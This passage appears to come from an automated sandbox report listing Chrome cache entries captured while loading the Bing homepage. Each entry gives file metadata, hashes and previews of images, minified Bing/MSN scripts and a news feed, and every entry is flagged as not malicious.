Preview:	.PNG........IHDR................a....pHYs..........+......IDATx...?H.Q...R&..9..EW.....!-.."......m"..........$H......(>m. ~....s.....;p.....s.=.^.z...@...#.x....S.......@....7.M.R....j...d..v..l...."......P.Tl.z=.....`0.F....>(...\..X,..v....d2!......z..'''(.J0...h.Z[...)G..d.x}}....#.. ..........a&.A0......P...`..9....<.......::........ppp.............0..@.&.N.lK.R<>>b4.A"....$T+...!...N'G..Ty...;..4...P(..Q.P.^.V.S..V...n.GGGlS...!(.I..g=..1.L.^,......h...E.\....j...9.....www\..G...\|\dn#..Z...A..."Q.j....b..X,.....k..Eg...<I...$t......*^^^..F?.I....J....Y\]]a>......!......$.........~.L,...L..Y{c....IEND.B`.............................................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 651

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 300x225, components 3
Category:	dropped
Size (bytes):	16805
Entropy (8bit):	7.96652595342381
Encrypted:	false
SSDEEP:	384:eO78M4HdOWkPItioxSE8axWB9RznBYId/AzqNWpKtM6QHfK:eOhzIMoxSEd+9Y4/SqeK66p
MD5:	30085D1F40ACD483B2CA93C4EA164E53
SHA1:	DFD08585B733A0D719CDB83EED9C99BA3E787EF5
SHA-256:	36FCE38700B44FC77613A39F3DC54B7FFFA9A28B26517CF16B967968022F88D2
SHA-512:	8EECC9F98933D2EA51E42A165717E4E60359A977156D4E334EECAE615724DA32909C59B74D62F6A52638198E5094F0E1F8C5A782288BF18488C19AEA5494F28C
Malicious:	false
Reputation:	unknown
Preview:	......JFIF.....`.`.....C....................................................................C.........................................................................,.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....6p}q.&`3..b..'..Ozlj.A.Z....B........D..I..sRZ..Nq..vV,x..(}H.[$}9...`u..U.bLc..V.A. g..[...6.D..``..Q.u.=.:2.j.<.....<.7d....._C.`...1W,[j....j....P.2O..?.Cx7.].;..jl...'4.W.q......b....p.e......9.[<t5...)....k...P...7..S...G..?.4..^.ZL..V.+....(..N:z{..V.vL.f.s.6...Q.A...]....x....(.{.e.s..e.S........[Sc.<..g.o..y.3.....4y...]..+d..?{.y.x..'.nk

Chrome Cache Entry: 652

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (19627)
Category:	downloaded
Size (bytes):	19674
Entropy (8bit):	5.345295318503648
Encrypted:	false
SSDEEP:	384:nmr5RNUVsjzNZPqdwJ9Lxi18x0SYMMygvqXUGJHdQqQXscYEUt0vdri75tZXKQt+:nmr76VSzNZPqSJ9LxiKOrMfgSXUGJHux
MD5:	6A57E4ACAE2D82619AD37056E8DE818A
SHA1:	10845130B44263A871D825CAEE336B4B096E74F7
SHA-256:	92E6A2AE0DE1410B072A98D819EB590B3BEB6A7E8BFF47F9F86213CD56102E53
SHA-512:	0A4E502DA6AD32A7C4A1BF0904E7C7C4143E67ADFFF572F7066606A7A34E8A19E91F392A29E6559654B54C353F63ECF32353AA0BBCA297191E321E96E0B35438
Malicious:	false
Reputation:	unknown
URL:	https://assets.msn.com/bundles/v1/bingHomepage/latest/widget-initializer.js
Preview:	var t,e={d:(t,n)=>{for(var r in n)e.o(n,r)&&!e.o(t,r)&&Object.defineProperty(t,r,{enumerable:!0,get:n[r]})},o:(t,e)=>Object.prototype.hasOwnProperty.call(t,e)},n={};function r(t,e,n,r){return new(n\|\|(n=Promise))((function(i,o){function s(t){try{c(r.next(t))}catch(t){o(t)}}function a(t){try{c(r.throw(t))}catch(t){o(t)}}function c(t){var e;t.done?i(t.value):(e=t.value,e instanceof n?e:new n((function(t){t(e)}))).then(s,a)}c((r=r.apply(t,e\|\|[])).next())}))}function i(t,e){window.dispatchEvent(new CustomEvent(t,{bubbles:!0,cancelable:!0,composed:!0,detail:{type:"AppError",payload:e}}))}function o(){return!("undefined"==typeof window\|\|!window.document\|\|!window.document.createElement\|\|window.isRenderServiceEnv)}function s(t,e=null,n=null){return e&&e.length>0?e:"windowsNewsPlus"===t\|\|"winWidgets"===t?n&&n.includes("query=enterprise")?"entwindowsdash":"windowsdash":t}let a,c,u,l;function d(t,e){if(t&&(c=t),e&&(u=e),!l){const{connection:t={},deviceMemory:e="",hardwareConcurrency:n}=window.navi

Chrome Cache Entry: 653

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 414 x 32, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	2144
Entropy (8bit):	7.603445614854898
Encrypted:	false
SSDEEP:	48:Wt2dMFbpombbd4x5k01228Qzim0XOgJbxQuvyCoQjm:Ldc1omvd4x5k0V8uH0+gZxQ8yCocm
MD5:	67E0BE8B32F82EBAA6F07A2383C25F13
SHA1:	D5B4BAE8B70AC9D6E3C3AC673546957CCB719618
SHA-256:	4CC6C20061A8027BF45B02982830F5760BC6F65D0A0DE75094BC90245C287548
SHA-512:	54C558D486C71882E11B11DE566738949E97BEF3EC12050213FEE48BE033E981C32B7C64F2057D74D232FEB778A959C52781759BF48938F4F6B4BD0E88F68ACC
Malicious:	false
Reputation:	unknown
URL:	https://www.bing.com/rp/1bS66LcKydbjw6xnNUaVfMtxlhg.png
Preview:	.PNG........IHDR....... .........../PLTE..............................................................................................................................fff.....................................................................................................................................................................................ctRNS.0.@..`.... ...Pp...U......}J%.._..3.........IWo..K..H..,.......mCA.\|..`......]............e.#?....}IDATx^.ws.8...&D.`......\..\z..\........#i.%.......WD.0..a.X@....3.c..vH....P.t..-.n..$..$4.%lJ>.EIM.....<..o.I..(.k\DsQaFE....Q.....66.0#..7.@..I3...R_..;......@=1......[;...r...1..I.Z(..(.0p....&Q..00.h-...t.......\|%..\".:.e0....K...`c.{o.X.... I..e..y@N.........B.6.J....&...P#.:...m...g.+.....>........<6G.`.;.$..$.6.!..__@..1.1...1G]..'.G.G..!..%<D.{...`....m.c+z......AE>.5.5..D."..(.;..1.[....,Z.<......c_.5..>...NS.\|......l8.Z..c!=l..g......a'...W#....w......W..s.\|y....&&*.. p.........K.rD.8.%p-I.[.v.Cg.G.g..

Chrome Cache Entry: 654

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (1587), with no line terminators
Category:	downloaded
Size (bytes):	1589
Entropy (8bit):	5.24528911504239
Encrypted:	false
SSDEEP:	48:KyskFELbJnSYVtXpQyL93NzpGaQJWA6vrIhf7:KybibJnSE5aU93HGaQJWAiIh
MD5:	CB027BA6EB6DD3F033C02183B9423995
SHA1:	368E7121931587D29D988E1B8CB0FDA785E5D18B
SHA-256:	04A007926A68BB33E36202EB27F53882AF7FD009C1EC3AD7177FBA380A5FB96F
SHA-512:	6A575205C83B1FC3BFAC164828FBDB3A25EAD355A6071B7D443C0F8AB5796FE2601C48946C2E4C9915E08AD14106B4A01D2FCD534D50EA51C4BC88879D8BEC8D
Malicious:	false
Reputation:	unknown
URL:	https://r.bing.com/rp/No5xIZMVh9KdmI4bjLD9p4Xl0Ys.js
Preview:	var wln=wln\|\|"",Identity;(function(n){function i(n){n.style.display="none";n.setAttribute("aria-hidden","true")}function r(n){n.style.display="inline-block";n.setAttribute("aria-hidden","false")}var u,t;n&&n.sglid&&n.setLoginPreference&&sj_be&&sj_cook&&sj_evt&&_d&&typeof _d.querySelectorAll!="undefined"&&(u=function(n){var i=n.getAttribute("data-a"),t=n.getAttribute("data-p");i==="false"&&t!=null&&sj_be(n,"click",function(){sj_cook.set("SRCHUSR","POEX",t,!0,"/")})},sj_evt.bind("identityHeaderShown",function(){var n=!1;sj_be(_ge("id_l"),"click",function(){var i,t;if(!n){for(i=_d.querySelectorAll(".b_imi"),t=0;t<i.length;t++)u(i[t]);n=!0}})},!0));sj_evt&&n&&(t=function(t){var h;if(t==null\|\|t.idp!=="orgid"\|\|(h=n.wlProfile(),h==null\|\|h.name==null\|\|t.name!=null)){var e=_ge("id_n"),u=_ge("id_p"),o=_ge("id_s"),s=_ge("id_a"),f=t?t.displayName:wln,c=t?t.img:null,l=t?t.idp:null,a=t?t.cid:null;e&&s&&(a\|\|f)?(u&&c&&(u.title=f,u.src=c,r(u)),f.length>10&&(f=f.substring(0,10).replace(/\s+$/,"")+".")

Chrome Cache Entry: 655

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	4.906475176292464
Encrypted:	false
SSDEEP:	24:t3JfDuJSMMg7cO4PRgASiFL9PddDSYXIzfpMhg4BLy+K5bHxpGlG8O:30cZPRdx3n9vLvK5bHac8O
MD5:	7EAFCE495848D8F8805487DA7F6C17E8
SHA1:	D14E7BE4F3BA3860F9292B6E1FE1EE6B432945F6
SHA-256:	B6F9A9A7FD5FAD7452F972E26119B4A2180E6E28681C4CA77F3D49A9DCB3A151
SHA-512:	A7D4A78E6C1DC8BAB9B86C099417E1AC2CC6581A7F99780ACCAC2A79F5D5FAEEBA514A61B3BEB34A8BAE6C4B3CC67A8580F4506ABB0817DC7DB3499464827DF3
Malicious:	false
Reputation:	unknown
Preview:	<svg width="14" height="14" viewBox="0 0 14 14" fill="none" xmlns="http://www.w3.org/2000/svg">.. <path fill-rule="evenodd" clip-rule="evenodd" d="M13.6505 1.15573C13.6203 0.625918 13.191 0.206607 12.6606 0.188891L7.86533 0.0287154C7.57733 0.0190956 7.29857 0.131052 7.09722 0.337199L0.313162 7.28308C-0.0826965 7.68838 -0.0750412 8.33785 0.33026 8.7337L5.39872 13.6841C5.80402 14.0799 6.45349 14.0723 6.84935 13.667L13.6334 6.72108C13.8348 6.51493 13.9401 6.2336 13.9237 5.94591L13.6505 1.15573ZM11.0542 3.19839C11.3347 3.47234 11.7842 3.46704 12.0581 3.18655C12.3321 2.90607 12.3268 2.4566 12.0463 2.18265C11.7658 1.9087 11.3163 1.914 11.0424 2.19449C10.7684 2.47497 10.7737 2.92443 11.0542 3.19839Z" fill="url(#paint0_linear_9629_1325)"/>.. <defs>.. <linearGradient id="paint0_linear_9629_1325" x1="4.94694" y1="13.487" x2="0.000210146" y2="3.39805" gradientUnits="userSpaceOnUse">.. <stop stop-color="#4464FF"/>.. <stop offset="1" stop-color="#44B0FF"/>..

Chrome Cache Entry: 656

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (21819)
Category:	dropped
Size (bytes):	21850
Entropy (8bit):	5.354090222291205
Encrypted:	false
SSDEEP:	384:Kh4kT1lYxfiWahKMpWMEVhbTDDoFWZ3BnqIfP5IDV6s4RKAwKXvUNuw+0TVteAaV:Y5TifxbBpBnqIH+Z6sepXv0uAaV
MD5:	30280C218D3CAAF6B04EC8C6F906E190
SHA1:	653D368EFDD498CAF65677E1D54F03DD18B026B5
SHA-256:	D313C6FFF97701CC24DB9D84C8B0643CA7A82A01C0868517E6E543779985C46E
SHA-512:	1F329898FA0E68F65095B813CA20351ACFEAA5F74DB886508FD4F1FA85811A8CC683C6FAB9D9F094F596C8957219F8E29A6307EA0B2D470BDC809A4B9C9D34DC
Malicious:	false
Reputation:	unknown
Preview:	/!DisableJavascriptProfiler/.var BM=BM\|\|{};BM.config={B:{timeout:250,delay:750,maxUrlLength:300,sendlimit:20,maxPayloadSize:14e3},V:{distance:20},N:{maxUrlLength:300},E:{buffer:30,timeout:5e3,maxUrlLength:300},C:{distance:10}},function(n){function vt(){if(!document.querySelector\|\|!document.querySelectorAll){k({FN:"init",S:"QuerySelector"});return}w={};e=[];ft=1;ut=0;rt=0;o=[];s=0;h=!1;var n=Math.floor(Math.random()*1e4).toString(36);t={P:{C:0,N:0,I:n,S:ei,M:r,T:0,K:r,F:0}};pi()}function oi(n,t){var r={};for(var i in n)i.indexOf("_")!==0&&(i in t&&(n[i]!==t[i]\|\|i==="i")?(r[i]=t[i],n[i]=t[i]):r[i]=null);return r}function si(n){var i={};for(var t in n)n.hasOwnProperty(t)&&(i[t]=n[t]);return i}function b(n,t,r,u){if(!h){k({FN:"snapshot",S:n});return}r=r\|\|ni;t=t\|\|!1;var f=g()+r;ot(o,n)===-1&&o.push(n);t?(yt(),pt(t,u)):f>s&&(yt(),rt=sb_st(pt,r),s=f)}function k(n){var u={T:"CI.BoxModelError",FID:"CI",Name:ht,SV:ct,P:t&&"P"in t?d(t.P):r,TS:f(),ST:v},i,e;for(i in n)u[i]=n[i];e=d(u);wt(e)}func

Chrome Cache Entry: 657

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 300x225, components 3
Category:	dropped
Size (bytes):	17656
Entropy (8bit):	7.9577659896773065
Encrypted:	false
SSDEEP:	384:ewyvV8iKwyrEjQWVIbQEwewq2oWd5jX/xAzFF5dR:ewCVbryrSUQvLq5Wdh/izX5dR
MD5:	DAF2D12E907865610DF30208030683AD
SHA1:	25AEC3492C6EE6B7661EAD296F594A3CA01D3663
SHA-256:	D2132E8C9EA601D2B388CB9AE0D2A174855BC094FBF6D8E7E4414711E6290446
SHA-512:	FCED2FCF096ABEB3A504B31B4696BA7395C9853047CF17C1B05129C2B5B266BAD8D26FC59808F8A1C5D91FC0747BDFABF9F9EFDC9EEBD1DD97F44AF34008D794
Malicious:	false
Reputation:	unknown
Preview:	......JFIF.....`.`.....C....................................................................C.........................................................................,.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..o..+q ..m..9..!..^......?.u.=......kD}v.I.N..Z.l.0t.+..8...d`8.~..1Z.....UG..4..%..T.7;cZ4.4.=;....n..\|.....%..3\.<s=..........MJ@.....m..9.V.j..}....S'.I.j6..X...,..<..+'P...X..V..(.O.kN.......].....cR.{......}kzp<l]k..\|d7.O.s..w...kk.M4..E......j.z.3np..=...._...{..%.m....ZO...x.E.....Fq]~.4..<yRu%..~.....gk....M.........8$t2.H......U...kF.B...@8....+.(...y

Chrome Cache Entry: 658

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (11012)
Category:	downloaded
Size (bytes):	54506
Entropy (8bit):	5.412530374899776
Encrypted:	false
SSDEEP:	768:MxNqYV6qLWepUD4Pax62tVQf8wlXENvsL3OTdTu2ENpW/d6RVLue3oXXSev:fsTLHUQfvI7aXvuXH
MD5:	7BAAF7DB14A9C12211062C3B879B9BB6
SHA1:	21EDB37B438431E8F6B2B3A8CCD2FA6572276E3F
SHA-256:	1D1257463FC9CD415D4FA976D12D039F3A37BDF5D8841772EF44F9A9084D6424
SHA-512:	2B173747115CE6F9820CAC5029E4AFF0B6719DA3DC1A6D8B49D8A1673F80018B3E5867EEE6A12E4D0CBCF41B967F2EDF7E1260E8D835BECFF003D899DB724379
Malicious:	false
Reputation:	unknown
URL:	https://assets.msn.com/bundles/v1/bingHomepage/latest/weather-legacy-card.e1f088bd2f84117f1069.js
Preview:	(self.webpackChunk_msnews_msnews_experiences=self.webpackChunk_msnews_msnews_experiences\|\|[]).push([["weather-legacy-card"],{74037:function(e,t){"use strict";t.Z='<svg width="14" height="15" viewBox="0 0 12 8"><path d="m11.25.8.53.52-5.9 5.89L0 1.3.53.8l5.36 5.36L11.25.8Z"/></svg>'},52468:function(e,t,a){"use strict";a.d(t,{a:function(){return g}});var i=a(33940),o=a(75155),n=a(99452),r=a(83227),l=a(38156),s=a(65135),d=a(60483),c=a(3900),h=a(987),p=a(98304);class g extends o.l{constructor(){super(...arguments),this.clickBannerWithin7days=!1,this.showBannerTwiceWithin7days=!1,this.sdCardMaskVisible=!0,this.showInitialBanner=!1,this.showContextualFeedback=!1,this.showThankBanner=!1,this.loadFeedbackLinkWCE=!1}experienceConnected(){this.telemetryObject=new d.D({name:"SdCardMask"+this.cardType,action:l.Aw.Click,behavior:l.wu.View,content:{headline:this.cardType}}),this.sdCardMaskVisible=!g.visited.has(this.cardType),this.generateTelemetryTags(),this.isProng2Widget="prong2"===this.config.sc

Chrome Cache Entry: 659

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	1248
Entropy (8bit):	4.794006986210145
Encrypted:	false
SSDEEP:	12:6v/7FKUjCpiCOvfHhAqbCqzald1uVyjq0nc91fSn62gg:INvfygBQdggWuM1qdg
MD5:	4CA14D11E247672836C5BF5C1D7BC0B8
SHA1:	7AB5A1DA7702D2413FF7AA69E900EA0CD61B85F2
SHA-256:	9CDCCFE1364E044C501EBAFFAC0E46F04309AA8FB8E647000784238B49E64273
SHA-512:	17C2E87F1EEFD769B6270CBC27022C998EF30A595AB01331A056ABBBB3C517A2BA6CF9116C3F82FCA10C6F92D5434C0DEB94DBAF9AA09A84EA150A8D40B459A4
Malicious:	false
Reputation:	unknown
URL:	https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAywOab.img?w=16&h=16&q=100&m=6&f=png&u=t
Preview:	.PNG........IHDR................a....pHYs..........+.....2IDATx...]H.Q...m..6.m"Y..-..3...%TDb..B..E.MaHA....(.D."....]...t..u......>..2t..].0[.o.9.{.....?..[>.......f..rN].G....s............C&I...".....w.(..\.BF..Mu.t...;.z..l...$=r. .HH6.-". ..<.^/..[.q....Cm..,..+...c.......1.sGj.u.^W"U.8.....Q....\|.U.k1.u.u..m.cX\4.8.....N......o0.....D.~q`....].K..F.._.i^6[..(..$K..]...;,).gz.`$....GO...:./........A8.J'..Ymgn..Ki....P.!*....K\f.p[...v..E.O...7]!H.....5+....$Z...Y.0.w....+..V..j5.?yY.E`kf....fRd<.....+.....D..&..........pv.)3F.....=...9'C.{.R..7.aL.~.%K.}../..9}~._c.`...2...&...}....IEND.B`.........................................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 660

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 300x304, components 3
Category:	dropped
Size (bytes):	1786
Entropy (8bit):	7.285156263189152
Encrypted:	false
SSDEEP:	24:fiLEltccCet6dvBdT1QjjICm7XdHqgqWmeBqRsmuKGXp+T1pxcJlTbdP6:3Hgd5GjICYhmwqemuKG21/uTbdi
MD5:	72AC53C918F35A73809317EC46E28594
SHA1:	160C2B05107CD63E081995D13F96A4C31727244C
SHA-256:	5ED68039383EB61A753F134004392C513C7BD20BC1C2328D571BD3DB650C1BE4
SHA-512:	988F81B7A4A11F9FFEB6F4C269A607DAFFDDB7D6B126B5811EBAB69BFCBC7F7333D43F76EE1B7A6FEDCE64CCB1FF014B3870D52B75B69ACB49C2A832BA4D9BD8
Malicious:	false
Reputation:	unknown
Preview:	......JFIF...................................."....."3 % % 3-7,),7-Q@88@Q^OJO^qeeq............................"....."3 % % 3-7,),7-Q@88@Q^OJO^qeeq............0.,.."..........h.................................................!..1A..............................................!1............?..O___.N.}{......m@<~....V...C....@.P.4S.(.."..Q..T%lE5b>.j.&..0^.I.....@C....P..$T.DS.r....#...?+../n..w%sH.f...........0RP.....E5..E#..h....&..H..H....0......2..DQ.....A..."...DQ".%FT.\......;....X..* ".V......&.4.(.Q.Qi.eL...&4.T..k.......q..R..d8...N+."..r\s.dvO8.?0...9.D``.B.)...5$.3%...@qq+..P.6T.%P..DF..3%DUE&).JJ.\\g..W.^\|3...u.#.X..?.......zyW.....!....~ZhS.L..F...&...."...2.E8.4.q.q.Y..T\D\....U!H.4.3R+H.........7...i:b.i...E.y.W......Yu..jq...HS.8.dq...`.F,5...D.#HhP...j..8...EZ.f.A.^..r.U....+C.z.^.Y......yW...4...g.b..1......[Jz.OY..7k.F.EQ..R..Q.".T.....R.4(U.Vj.U..g...T......V2.T..NVzz..U...............&.ZN..f.....g.....OX..5..:.@.....f.

Chrome Cache Entry: 661

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	239788
Entropy (8bit):	6.0512516137169925
Encrypted:	false
SSDEEP:	6144:lU6lXelzhnwcD+VNpQi0jbIs9iE8aFickjj7kG+NFuckpj7kG+g8R9EvPG0GRCcA:lU6V2W89jbIs9iE8aFickjj7kG+NFucY
MD5:	2EED513D341865A4AF3982A1BF2FBF16
SHA1:	EB00DDF344DFAE3B31AB19C497B383A52591C5D6
SHA-256:	4DF0522D237C3D1545C27522DD06F6E21410799B068DD8748FF8072C32C2A810
SHA-512:	ED742FFD83553469610ED70B144178FC07DCD21E4600BDDE05F4AAF0DA735DB44269DE4BE0A4EAC18D7CF4FAE26FD5ECFEE3CAE9871A3D0813DA3EA62FBAA3FC
Malicious:	false
Reputation:	unknown
URL:	https://r.bing.com/rp/6wDd80TfrjsxqxnEl7ODpSWRxdY.css
Preview:	.scopes{color:rgba(255,255,255,.8);display:inline-block;left:0;white-space:nowrap;list-style:none;line-height:39px}.scopes.sc_hide{display:none}.scopes .customIcon{display:flex;align-items:center}.scopes .customIcon .icon{height:16px;width:16px;padding-right:8px}.scopes .customIcon .icon .rms_img{display:block;margin-top:1px}.scopes .scope{font-size:.8125rem;cursor:pointer;vertical-align:middle;margin-right:36px;background-repeat:no-repeat;position:relative;display:inline-block}.scopes .scope:hover,.scopes .scope.focusin{color:#fff}.scopes .scope:hover .overflow_menu,.scopes .scope.focusin .overflow_menu{transform:none;display:block}.scopes .scope a,.scopes .scope .footer .items .item .a_bold,.footer .items .item .scopes .scope .a_bold{color:inherit;cursor:pointer;text-decoration:none}.scopes .scope.dots{margin-bottom:8px;font-weight:bold}.scopes .scope.dots:before{display:inline-block;content:'. . .'}.scopes .scope.dots.hover_focus:focus{outline:none}.scopes .scope .overflow_menu{colo

Chrome Cache Entry: 662

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65503), with no line terminators
Category:	downloaded
Size (bytes):	274599
Entropy (8bit):	5.423372378721166
Encrypted:	false
SSDEEP:	3072:v6Cn88k1kAcD4Hx2mUa/Q/HabQ7JVmoAK:v7nRDEUa4/HaMmoAK
MD5:	0768D10168E76CCB3783C98CEF1CF131
SHA1:	FC2C4494AD0654A9DE8DD5A5683200718C00CA88
SHA-256:	C2EA6B3DFADD6BE072A3F31D6BEC41952C6C0B01480BA953FB095B6116EC626B
SHA-512:	12278F1C0B6E056EC9E761E0375C8194939BA5EF1CECD58B01FD3CBC1AC37878DCC6E7761DF79C9CE2BB0DE6632B87456FA45A59418BD80A3C72B4A2FD07BA9F
Malicious:	false
Reputation:	unknown
URL:	https://assets.msn.com/service/news/feed/pages/binghp?activityId=FC269871-C66B-4E96-BCF3-A1792D2AB208&apikey=QMmdky7jrTlM4mWJmMYQTi71lp678KyZJBKHCAyKCg&cm=en-us&it=app&ocid=bingHomepage-newsfeed&timeOut=2000&user=m-3D5809546E8E606F1D921A8B6F3E6124&wpopageid=wpoads
Preview:	{"nextPageUrl":"https://api.msn.com/news/feed/pages/binghp?activityId=FC269871-C66B-4E96-BCF3-A1792D2AB208&timeOut=2000&ocid=bingHomepage-newsfeed&apikey=QMmdky7jrTlM4mWJmMYQTi71lp678KyZJBKHCAyKCg&cm=en-us&User=m-3303A6C30AA96FC73A26B51C0B306E84&newsSkip=31&$skip=1&wpoCmsAdServed=0&wpoNativeAdServed=0&cardsServed=22&renderedSegments=34817&wpopageid=wpoads","sections":[{"dataTemplate":"windows-homepage-top-section-two-segment","layoutTemplate":"windows-homepage-top-section-two-segment","cards":[{"type":"topStories","isLocalContent":false,"galleryItemCount":0,"subCards":[{"id":"AA1l3xDB","type":"article","title":"Hospitals in southern Gaza are at 'breaking point,' international organizations say","abstract":"Two international organizations say hospitals in southern Gaza are at a \"breaking point\" with wards overwhelmed with patients.","readTimeMin":3,"url":"https://www.msn.com/en-us/health/other/hospitals-in-southern-gaza-are-at-breaking-point-international-organizations-say/ar-AA1l3xDB

Chrome Cache Entry: 663

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (520), with no line terminators
Category:	downloaded
Size (bytes):	520
Entropy (8bit):	5.271876799734874
Encrypted:	false
SSDEEP:	12:hc2AcSdEcvZswcAIly1YkOcAwI98NyeTg2TQHYN:hc2AcSSwDcr98XhuYN
MD5:	F03CFEE55A7F1E0B91DD062A5654FC3D
SHA1:	57D2DB8B8AC66A403E3A3C1C2DCA21E63AF5CDF6
SHA-256:	39477BAE95EE7073936851A67106A42F585454EBD6C4FEADEACC818C52DA49A4
SHA-512:	7E66C667FD3F0B1C91296011D7E382776F12905F12C25CCAD4710459FA1E595D2D4A3626C3E969AC1B1575ADD0839EC09CE211B59C694FDBB34D7E5F6D3A5950
Malicious:	false
Reputation:	unknown
URL:	https://r.bing.com/rs/79/x4/nj/V9Lbi4rGakA-OjwcLcoh5jr1zfY.js?or=w
Preview:	var sj_rra=function(n){var i="/rewardsapp/reportActivity",u=_w.location.search.substring(1),r=window.data_iid,t,f;i+=r&&r.length>0?"?IG="+_G.IG+"&IID="+r+"&"+u:"?"+u;_w._H&&_w._H.mkt&&(i+="&src=hp");t=sj_gx();f="url="+escape(n)+"&V=web";t.open("POST",i,!0);t.setRequestHeader("Content-type","application/x-www-form-urlencoded");t.onreadystatechange=function(){t&&t.readyState==4&&t.status==200&&t.responseText&&_w.sj_appHTML&&(sj_appHTML(sj_b,t.responseText),sj_evt&&sj_evt.fire("serpThemeUpdatedByRewards"))};t.send(f)}

Chrome Cache Entry: 664

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (64723)
Category:	downloaded
Size (bytes):	217171
Entropy (8bit):	5.516547549800321
Encrypted:	false
SSDEEP:	3072:ECAFYoK3+LLND6Ok/IxNs0Drpgrmyv0ESXwU0L:ECAF23AhD6OsIxuv0ESX1m
MD5:	FECBD69C0CB18FDD8F8918AD9C34363C
SHA1:	3E99FF6122CD72B585BF641C672084591747212F
SHA-256:	4CF6DD6B6EBD9F51817C4A8C4F2678D714C02E8CCDE06974B39D050FCD008C7F
SHA-512:	A6AE760AFBA686AF0D5D5D9F95C514E7A5F79FE3B52A466C0ED38D7AEFD0F3B6C0B8E997CB60FEB8E95D741F53E5B6936BA97A011D1259529E9E833657A757E7
Malicious:	false
Reputation:	unknown
URL:	https://assets.msn.com/bundles/v1/bingHomepage/latest/shopping-sd-card.17fd04a1ee6981eb2597.js
Preview:	"use strict";(self.webpackChunk_msnews_msnews_experiences=self.webpackChunk_msnews_msnews_experiences\|\|[]).push([["shopping-sd-card"],{52468:function(e,t,i){i.d(t,{a:function(){return g}});var n=i(33940),o=i(75155),r=i(99452),a=i(83227),s=i(38156),l=i(65135),d=i(60483),c=i(3900),p=i(987),u=i(98304);class g extends o.l{constructor(){super(...arguments),this.clickBannerWithin7days=!1,this.showBannerTwiceWithin7days=!1,this.sdCardMaskVisible=!0,this.showInitialBanner=!1,this.showContextualFeedback=!1,this.showThankBanner=!1,this.loadFeedbackLinkWCE=!1}experienceConnected(){this.telemetryObject=new d.D({name:"SdCardMask"+this.cardType,action:s.Aw.Click,behavior:s.wu.View,content:{headline:this.cardType}}),this.sdCardMaskVisible=!g.visited.has(this.cardType),this.generateTelemetryTags(),this.isProng2Widget="prong2"===this.config.scenarioType;const e=this.isFullCard?"widget fullWidget ":"widget ";this.sdMaskContextContainerClassName=this.isProng2Widget?"sd-mask-context-container "+e:"sd-mask

Chrome Cache Entry: 665

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	31512
Entropy (8bit):	5.678691607929192
Encrypted:	false
SSDEEP:	768:rUqw5Xmdfg58CMsk66xBo5EUWC5MJ4YkztsVUOJEvU04sDYwe/BfTRkJ5rr9:rUFkd4uxS6UWC5MJ4Ykzts+WUNfU5pS
MD5:	C121E7C50C80D5E9DBC063BA33257106
SHA1:	A1B261FC6391ED984C3AE7DC33AF453F0C3F8FD5
SHA-256:	D2150001B521D505BA50AD5912BB56413B2AB7462452CE4056498F3067B5262E
SHA-512:	4ABC5D7E3AF0BA51AA1E6DB3334FECC1186778A84AE87A86A5B3D8EE0DEBDBE962248D319EB14423449653761F69691C226B5535C07110ED69244CBA6AAC6688
Malicious:	false
Reputation:	unknown
